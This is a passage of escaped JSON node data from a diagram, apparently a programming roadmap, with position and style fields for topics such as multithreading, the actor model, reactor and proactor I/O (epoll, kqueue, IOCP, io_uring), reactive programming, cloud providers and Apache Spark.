999,\n      \"width\": 157,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 157,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 359.4628452691828,\n        \"y\": 1741.422900324292\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 157,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"UESjGrFyUbNf4pQamaBoy\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 359.4628452691828,\n        \"y\": 1794.422900324292\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"RabbitMQ\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 157,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 157\n      },\n      \"positionAbsolute\": {\n        \"x\": 359.4628452691828,\n        \"y\": 1794.422900324292\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 157,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"_jd91rrAXGbJI9RhXlSx8\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 225.0153285883124,\n        \"y\": 2142.5580874612947\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Multithreading\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"dkCVwuy8GKeEi3VJar_Zo\"\n      },\n      \"zIndex\": 999,\n      \"width\": 155,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 155,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 225.0153285883124,\n        \"y\": 2142.5580874612947\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 155,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"KUQEgHldZPOLwFoXqQ2vM\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -450.0418767866893,\n        \"y\": 2175.8720132492394\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Actor Model\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 204,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 204,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -450.0418767866893,\n        \"y\": 2175.8720132492394\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 204,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"SsOz9Pj6Jc_55PgpmziL6\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -450.0418767866893,\n        \"y\": 2228.8720132492394\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Akk.net (C#)\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 204,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 204,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -450.0418767866893,\n        \"y\": 2228.8720132492394\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 204,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"eAEpEUVZcSKO9uCIlMN5y\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -450.0418767866893,\n        \"y\": 2281.8720132492394\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Akka (Java)\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 204,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 204,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -450.0418767866893,\n        \"y\": 2281.8720132492394\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 204,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ThBxS9xIMt9OrXfnto3rW\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -241.6297467693716,\n        \"y\": 2175.1037781746063\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Asynchronous\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 379,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 379,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -241.6297467693716,\n        \"y\": 2175.1037781746063\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 379,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"7mYpgn2gr-5vAYW-UR7_x\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -242.3281242098539,\n        \"y\": 2230.1582943435765\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Reactor\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"h\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 199,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 199,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -242.3281242098539,\n        \"y\": 2230.1582943435765\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 199,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"5-5toy2CblZPCV9d5QPEo\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -114.32812420985391,\n        \"y\": 2283.00220976664\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"select\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 71,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 71,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -114.32812420985391,\n        \"y\": 2283.00220976664\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 71,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"D9Yeyn8phDhB1ohMWccgr\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -241.97272423589692,\n        \"y\": 2283.00220976664\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"WSA Poll\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 124,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 124,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -241.97272423589692,\n        \"y\": 2283.00220976664\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 124,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"qaWv4gxnnj3uX8lEm9KQ4\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -114.32812420985391,\n        \"y\": 2336.00220976664\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"epoll\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 71,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 71,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -114.32812420985391,\n        \"y\": 2336.00220976664\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 71,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"caK32NMMrn-3BGAXZoPPr\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -241.97272423589692,\n        \"y\": 2336.00220976664\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"kqueue\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 124,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 124,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -241.97272423589692,\n        \"y\": 2336.00220976664\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 124,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Tvxe2NemcH21y-eB4bosv\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -39.15075760577247,\n        \"y\": 2229.7990729507064\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Proactor\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"h\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 176,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 176,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -39.15075760577247,\n        \"y\": 2229.7990729507064\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 176,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"7pgdOZomhGilBTwfJLMbm\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -39.15075760577247,\n        \"y\": 2282.7990729507064\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"IOCP\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 71,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 71,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -39.15075760577247,\n        \"y\": 2282.7990729507064\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 71,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"YH7u1FKh85wz78J0stuzS\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 35.731589762047406,\n        \"y\": 2282.7990729507064\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"io_uring\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 35.731589762047406,\n        \"y\": 2282.7990729507064\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"94hJX1iGifDzIuaU3zU5j\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -39.15075760577247,\n        \"y\": 2336.1582943435765\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Registered IO\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 176,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 176,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -39.15075760577247,\n        \"y\": 2336.1582943435765\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 176,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"dDu4oytShaxvnwjmDnbKI\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 287.0434878760507,\n        \"y\": 1880.4564918532815\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#000000\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 150,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 287.0434878760507,\n        \"y\": 1880.4564918532815\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 150\n      }\n    },\n    {\n      \"id\": \"tnzfWmELaFPOM6J847iPD\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 118.69747266236539,\n        \"y\": 1994.4564918532815\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Maximise your skills\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 168,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 118.69747266236539,\n        \"y\": 1994.4564918532815\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 168,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"LKPcEeqBOPhQOztD3cM3T\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -450.0418767866893,\n        \"y\": 2119.16296890674\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Task-Based\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 204,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 204,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -450.0418767866893,\n        \"y\": 2119.16296890674\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 204,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"f-L_eaZd0EjBW9-n9Pllt\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -450.0418767866893,\n        \"y\": 2066.16296890674\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"goroutine (Go)\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 204,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 204,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -450.0418767866893,\n        \"y\": 2066.16296890674\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 204,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"RT9XvlxvIM_hHTtNmbva3\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -450.0418767866893,\n        \"y\": 1960.1629689067397\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Concurrency (Java)\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 204,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 204,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -450.0418767866893,\n        \"y\": 1960.1629689067397\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 204,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"mAXMpUDmhGOncnCRrENJv\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -450.0418767866893,\n        \"y\": 2013.1629689067397\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Asnc-await (C#)\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 204,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 204,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -450.0418767866893,\n        \"y\": 2013.1629689067397\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 204,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"tiG0mZpLJ2zUr2IPYyhnv\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -515.95654296875,\n        \"y\": 1907.1629689067397\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Thread Building Block (C++)\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 269,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 269\n      },\n      \"positionAbsolute\": {\n        \"x\": -515.95654296875,\n        \"y\": 1907.1629689067397\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 269,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Vl-WW0LThrQTOO_tFl51B\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -55.160436004402584,\n        \"y\": 2119.258520296198\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Reactive Approach\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"LVwGXmZhMewGQy61qwNyu\"\n      },\n      \"zIndex\": 999,\n      \"width\": 192,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -55.160436004402584,\n        \"y\": 2119.258520296198\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 192,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"yWj70LpF4LKB8J6GbYvsq\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -55.160436004402584,\n        \"y\": 2066.258520296198\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"OORP\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 110,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 110,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -55.160436004402584,\n        \"y\": 2066.258520296198\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 110,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"xDYOvIbXc-iJ2zOKqe0YL\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 57.839563995597416,\n        \"y\": 2066.258520296198\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"FRP\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 79,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 57.839563995597416,\n        \"y\": 2066.258520296198\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 79,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"p0P3ZGq_QTCop0vMwe7P3\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -240.22731202160702,\n        \"y\": 2119.258520296198\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Reactive Model\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 178,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 178\n      },\n      \"positionAbsolute\": {\n        \"x\": -240.22731202160702,\n        \"y\": 2119.258520296198\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 178,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"l5QTk408Ubagw8XzRAfoZ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -240.22731202160713,\n        \"y\": 2066.258520296198\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Synchrony\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 178,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 178\n      },\n      \"positionAbsolute\": {\n        \"x\": -240.22731202160713,\n        \"y\": 2066.258520296198\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 178,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"zFx1jjt1hKgCpYHFTzbZZ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -240.22731202160713,\n        \"y\": 2013.2585202961982\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Determinism\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 178,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 178\n      },\n      \"positionAbsolute\": {\n        \"x\": -240.22731202160713,\n        \"y\": 2013.2585202961982\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 178,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"3Eat22rFjUl4eTtGz8u4N\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -240.22731202160713,\n        \"y\": 1960.2585202961982\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Update Process\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 178,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 178,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -240.22731202160713,\n        \"y\": 1960.2585202961982\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 178,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"LVwGXmZhMewGQy61qwNyu\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -55.160436004402584,\n        \"y\": 2119.258520296198\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Reactive Approach\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 192,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -55.160436004402584,\n        \"y\": 2119.258520296198\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 192,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"hhtqvFfTCuVPT0OPu4Y1a\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 225.0153285883124,\n        \"y\": 2421.8743750593535\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Cloud\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"dkCVwuy8GKeEi3VJar_Zo\"\n      },\n      \"zIndex\": 999,\n      \"width\": 155,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 155,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 225.0153285883124,\n        \"y\": 2421.8743750593535\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 155,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"73uoFNGcCALxIuRNbebav\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 445.6095025654899,\n        \"y\": 2368.8743750593535\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Azure\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 90,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 90\n      },\n      \"positionAbsolute\": {\n        \"x\": 445.6095025654899,\n        \"y\": 2368.8743750593535\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 90,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"wD6dUrS-tP2gpCHPghFp5\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 445.6095025654899,\n        \"y\": 2421.8743750593535\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"GCP\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 90,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 90\n      },\n      \"positionAbsolute\": {\n        \"x\": 445.6095025654899,\n        \"y\": 2421.8743750593535\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 90,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Rkx2A6oWsddlCTseZlpRU\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 445.6095025654899,\n        \"y\": 2474.8743750593535\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"AWS\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 90,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 90\n      },\n      \"positionAbsolute\": {\n        \"x\": 445.6095025654899,\n        \"y\": 2474.8743750593535\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 90,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"DOmbRRK_RRPElOuTB7AAK\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 325.5434878760507,\n        \"y\": 2287.1582943435765\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Serverless\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 127,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 325.5434878760507,\n        \"y\": 2287.1582943435765\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 127,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"XCJvgUSS7-oDR-XGdDY33\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -60.62974676937159,\n        \"y\": 2421.8743750593535\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Data Clustering\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"dkCVwuy8GKeEi3VJar_Zo\"\n      },\n      \"zIndex\": 999,\n      \"width\": 198,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 198,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -60.62974676937159,\n        \"y\": 2421.8743750593535\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 198,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"yrWiWJMSyTWxDakJbqacu\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -60.62974676937159,\n        \"y\": 2508.94211112394\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Apache Spark\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 198,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 198,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 